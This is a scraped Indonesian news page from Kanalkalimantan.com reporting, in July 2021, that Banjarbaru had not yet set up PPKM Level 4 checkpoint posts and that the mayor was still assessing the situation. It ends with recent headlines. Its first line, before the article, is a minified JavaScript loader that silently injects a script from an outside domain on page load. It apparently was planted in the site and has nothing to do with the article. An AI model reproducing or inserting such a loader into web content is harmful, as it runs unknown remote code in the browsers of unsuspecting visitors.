(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Belum Ada Posko Penyekatan PPKM Level 4 di Banjarbaru, Wali Kota: Masih Melihat Situasi


KANALKALIMANTAN.COM, BANJARBARU – Jelang Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) level 4 mulai Senin 26 Juli hingga 8 Agustus 2021 (14 hari) di Kota Banjarbaru belum ada tanda persiapan posko titik penyekatan.

Pantauan Kanalkalimantan.com Minggu (25/7/2021) siang belum terlihat posko penyekatan, rencana titik-titik penyekatan di depan Q Mall Banjarbaru masih belum terlihat adanya barikade, maupun pos cek poin pelintas seperti saat Banjarbaru memberlakukan PSBB tahun 2020 lalu.

Sebelumnya, Kapolres AKBP Doni Hadi Santoso menyampaikan, pihaknya didukung oleh personil TNI, serta dinas dan instansi terkait akan melakukan penyekatan jalur masuk dan jalur keluar Kota Banjarbaru.

Baca juga: PPKM Level 4 Banjarbaru-Banjarmasin Selama 14 Hari, Kalsel Minta Tambahan Vaksin dan Oksigen!

 

 

Langkah ini dilakukan untuk membatasi aktivitas masyarakat terkait PPKM level 4 tersebut.

Ada empat pintu penyekatan yang akan diaktifkan dan dijaga personel gabungan di Banjarbaru yakni di depan Kota Citra Jalan A Yani Km 18, di LIK Liang Anggang arah Pelaihari, di depan Q Mall, Jalan Mistar Cokrokusomo di Kelurahan Bangkal, Kecamatan Cempaka –perbatasan dengan Kabupaten Tanah Laut.

Diketahui titik-titik pos penyekatan atau penjagaan kini belum terlihat ada persiapan penyekatan maupun Posko dibangun.

Baca juga: BREAKING NEWS. Bupati Banjar Periode 2016-2021 KH Khalilurrahman Berpulang

Wali Kota Banjarbaru, Aditya Mufti Ariffin, saat dihubungi oleh kanalkalimantan.com menyampaikan akan melihat situasi terlebih dahulu, terkait rencana pemantauan langsung tengah malam nantinya. “Nanti kita liat situasinya,” kata Wali Kota Banjarbaru, dihubungi Minggu (25/7/2021) siang.

Meski demikian, masyarakat diminta tetap patuh saat melintas di titik penyekatan terkait dan seraya membawa dokumen perjalanan sesuai ketentuan berlaku.

Hal tersebut dilakukan supaya pandemi Covid-19 di dalam Negeri segera bisa dikendalikan secara optimal dan penyekatan dapat dilonggarkan. Alhasil, aktivitas bakal kembali seperti semula. (kanalkalimantan.com/dewi)

Reporter : dewi
Editor : bie


Risa

Recent Posts

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

4 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

5 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

20 jam ago

Ikmaban Salurkan Bantuan Banjir di Desa Pejambuan

KANALKALIMANTAN.COM, MARTAPURA - Ikatan Mahasiswa Banjarmasin (Ikmaban) menyalurkan bantuan kepada warga terdampak banjir di Desa… Read More

1 hari ago

Pemko Banjarmasin Janjikan Normalisasi Aliran Sungai Gampa

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob atau banjir pasang pesisir yang melanda kawasan Sungai Gampa, Kelurahan… Read More

1 hari ago

Gubernur Muhidin Instruksikan Semua SKPD Kirim Bantuan Korban Banjir

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel), H Muhidin, instruksikan seluruh Kepala Satuan Kerja Perangkat… Read More

1 hari ago

This website uses cookies.